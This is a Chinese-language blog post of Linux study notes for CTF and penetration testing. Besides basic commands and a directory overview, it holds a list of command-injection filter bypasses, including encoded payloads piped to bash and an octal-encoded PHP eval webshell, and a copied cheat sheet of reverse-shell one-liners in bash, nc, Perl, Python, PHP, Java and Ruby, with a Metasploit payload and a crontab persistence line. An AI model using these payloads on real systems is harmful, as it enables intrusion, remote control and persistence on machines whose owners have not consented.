从零开始的linux学习

前言

这个随便写的,看到好用的奇淫技巧就会放在这里,本来是草稿,不知道怎么按错了就发出来了。。。会持续更新的。至于时间,看心情吧。

目录

  1. linux下的命令 
  2. linux下常见的绕过命令
  3. linux下反弹shell
  4. linux下各个目录的介绍

一,linux下的命令

rm -rf 删除文件  

-r  删除目录

-f  强制执行

而rmdir只能删除空目录

cp -p 复制文件

cp  -r 复制目录

 

链接的指令:

软链接:ln -s issue.bak issue.bak.soft

硬链接:ln /tmp/issue.bak /boot/issue.bak.hard

软链接和硬链接的区别:

软链接:

(1)软链接的开头权限是lrwxrwxrwx

(2)文件大小-只是符号链接  软链接非常的小

(3)/tmp/issue.soft -> /etc/issue  箭头指向源文件

(4)删除源文件,软链接无法访问

硬链接:

(1)和cp -p很像,但是它会和源文件同步更新(软连接也是这样)

(2)删除源文件,硬链接依旧可以运行

(3)硬链接无法跨分区

 

2.搜索命令

命令名称:find

命令权限:所有用户

语法: find 【所有范围】【匹配条件】

功能描述: -iname  不匹配大小写 

      -name   匹配大小写

      -size    指定文件的大小

例子: find /etc -name init          (全词匹配)    find /etc -name *init*  (所有含有init的文件名都对)

    find /etc -name in??         (可以匹配到)

    

命令名称:loacte

命令权限:所有用户

语法:loacte 文件名

功能描述:

在文件资料库中查找文件

例子:  locate test.php

补充:因为文件资料库是定期更新的,所以新创建的文件可能找不到。更新资料库用updatedb命令。但/tmp临时目录下的文件还是找不到。

 

命令名称:grep

命令所在路径:/bin/grep

执行权限:所有用户

语法:grep -iv 【指定字符串】【文件】

功能:  -i  不区分大小写

    -v  排除指定字符串

例子:

  grep mysql /root/install.log

  grep -v ^# /root/install.log

  grep peace bible.txt | grep love      (有含有peace和love的行。先找含有peace的,后找其中含有love的。)

  grep -r flag /*              (全盘搜索所有含有flag的文件。)    

 查看服务器的公网ip地址

dig +short myip.opendns.com @resolver1.opendns.com curl ident.me

若是没有 dig ,安装方法:

yum install bind-utils

 

二,linux常见绕过方法

1.空格过滤

<,<>,%20(url),%09(tab的php环境),$IFS,$IFS$1(1可以换成任意数字), $IFS,{IFS}等

2.一些命令分隔符

linux中:%0a,%0d,;,&,|,&&,||
windows中:%0a,&,|,%1a(作为.bat的命令分隔符)

3.花括号的别样用法

在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令
如:{cat,flag}

4.黑名单绕过

1)拼接绕过
    a=l;b=f;$a$b
(2)编码绕过
base64:
echo “Y2F0IC9mbGFn”|base64-d|bash
>cat /flag

hex:
echo “636174202f666c6167” | xxd -r -p|bash 
>cat /flag

oct:
$(printf “\154\163”) 
>ls

$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”)
>cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 
>cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} 
> 1.php
(3)单引号和双引号绕过
如:ca''t /flag 或者 ca""t /flag
(4)反斜杠绕过
如: ca\t /fl\ag
(5)利用shell特殊变量绕过

例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
@表示( @表示(@表示(@:同样也是获取当前shell的参数,不加引号和∗是一样的,那么加了引号如:" *是一样的,那么加了引号如:"∗是一样的,那么加了引号如:"@" 表示将所有的参数视为不同独立的字符串,相当于"$1" "2"..)<br>比如:ca 2"..)<br>比如:ca2"..)<br>比如:ca@t fla$@g

ca$1t fla$2g
(6)通配符

5.linux中直接查看文件内容的命令

cat,tac,more,less,head,tail,nl,sed,sort,uniq

 6.linux下可以读取文件的几种方法

  • $ ca\t /fla\g  使用反斜线绕过
  • $ cat /fl''ag  使用两个单引号绕过
  • $ cat /fla[a-z]  用[]正则匹配绕过
  • $ cat /fl*g  用 * 匹配任意字符
  • $ echo "Y2F0IC9mbGFn"| base64 -d | bash  base64编码绕过
  • $ echo "636174202f666c6167" | xxd -r -p | bash  hex编码绕过
  • $ cat `ls`  不讲道理的内联执行

运行结果:

 

 

 

三,linux下的反弹shell

linux下反弹shell

Z神也太强了吧!留一份备份吧。(转载自Z神的博客)

0x01 bash版本:

bash -i >& /dev/tcp/attackerip/1234 0>&1

注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。

0x02 nc版本:

支持-e选项

nc -e /bin/sh attackerip 1234

这个方式最简单
不能使用-e选项时:

mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe
/bin/sh | nc attackerip 4444
rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/

安装的NC版本有问题时:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f

0x03 Telnet版本:(nc不可用或/dev/tcp不可用时)

mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe

0x04 Perl版本:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

0x05 Python版本:

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

另外的形式:

python2 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

另外Metasploit版的代码:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234
import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMTkyLjE2OC45MC4xJywxMjM0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdig0MDk2KQp3aGlsZSBsZW4oZCkhPWw6CglkKz1zLnJlY3YoNDA5NikKZXhlYyhkLHsncyc6c30pCg=='))

0x06 php版本:

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

0x07 java版本:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

0x08 ruby版本:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

不依赖于/bin/sh的shell:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

如果目标系统运行Windows:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

0x09 crontab定时任务:

这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考Crontab定时任务配置

* * * * * /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1

最后其实发现,虽然形式不同,但是其实都是基于/bin/bash和/bin/sh

0x10 参考:

LINUX下反弹SHELL的种种方式

 

四,linux下各个目录的介绍

刚开始学linux下的时候我没怎么在意目录以为和windows差不多,都无所谓的。但是 P神 的一篇博客直接打醒了我,linux目录分工明确,只有理解它们的作用才能更好的理解linux。

/bin  存放二进制可执行命令,常用命令一般都在这里
/dev  设备特殊文件
/etc      系统管理和配置文件
/etc/rc.d    启动所需的配置文件和脚本
/home    用户主目录的基点,比如user的主目录就是/home/user,可以用~user表示。
/lib      标准程序设计库,又叫动态链接共享库,作用类似windows里的.dll
/sbin    超级管理命令,这里存放的是系统管理员使用的管理程序。
/tmp     公共的临时文件储存点
/root     系统管理员的主目录
/mnt     系统提供这个目录就是让用户临时挂载其他文件。
/lost+found      这个目录平时是空的,系统非正常关机而留下"无家可归"的文件就在这里
/proc 虚拟的目录,是系统内存的映射。可直接访问这个目录来获取系统信息。
/var 某些大文件的溢出区,比方说各种服务的日志文件
/usr 用于存放系统应用程序,比较重要的目录。要用到的应用程序和文件几乎都在这个目录
/usr/local    本地系统管理员软件安装目录。(安装系统级的应用)
/usr/x11R6    存放 x windows的目录
/usr/bin     众多的应用程序
/usr/sbin    超级用户的一些管理程序
/usr/doc   linux文档
/usr/include   linux下开发和编译应用程序所需要的头文件
/usr/lib      常用的动态链接库和软件包的配置文件
/usr/man   帮助文档
/usr/src     源代码,linux内核的源代码就在/usr/src/linux里。
/usr/local/bin   本地增加的命令
/usr/local/lib    本地增加的库

先休息下。( ‘-ωก̀ )

我学会了我学会了!(其实什么都不懂)

 很多人都说/etc/passwd是个很重要的文件,但是为什么重要呢?我们来分析一下它的结构:

第一列为账户名称
第二列为密码占位符(x表示该账户需要密码才能登录,为空时,账户无须密码即可登录)
第三列为账户UID
第四列为GID
第五列为账户附加基本信息,一般存储账户名全称,联系方式等信息
第六列为账户家目录位置
第七列为账户登录Shell,/bin/bash为可登录系统Shell,/sbin/nologin表示账户无法登录系统。另外,可以到它的具体目录下,有一个.bash_history文件。这个文件中包含了这个用户所有执行过的bash命令(可能被删除)。

示例:

 

 这里的 couchdb 用户就有 bash 执行命令的权限,这里切换到 /var/lib/couchdb 文件夹。

 

 可以看到有一个 .bash_history (如果该用户没有执行过命令或者删除了历史记录则没有)。读取:

 

 嘿嘿,这样就可以看看其他的用户执行过什么命令了,这应该是SSRF的基本操作吧?

 

posted @ 2020-03-06 16:09  Cxlover  阅读(636)  评论(0)    收藏  举报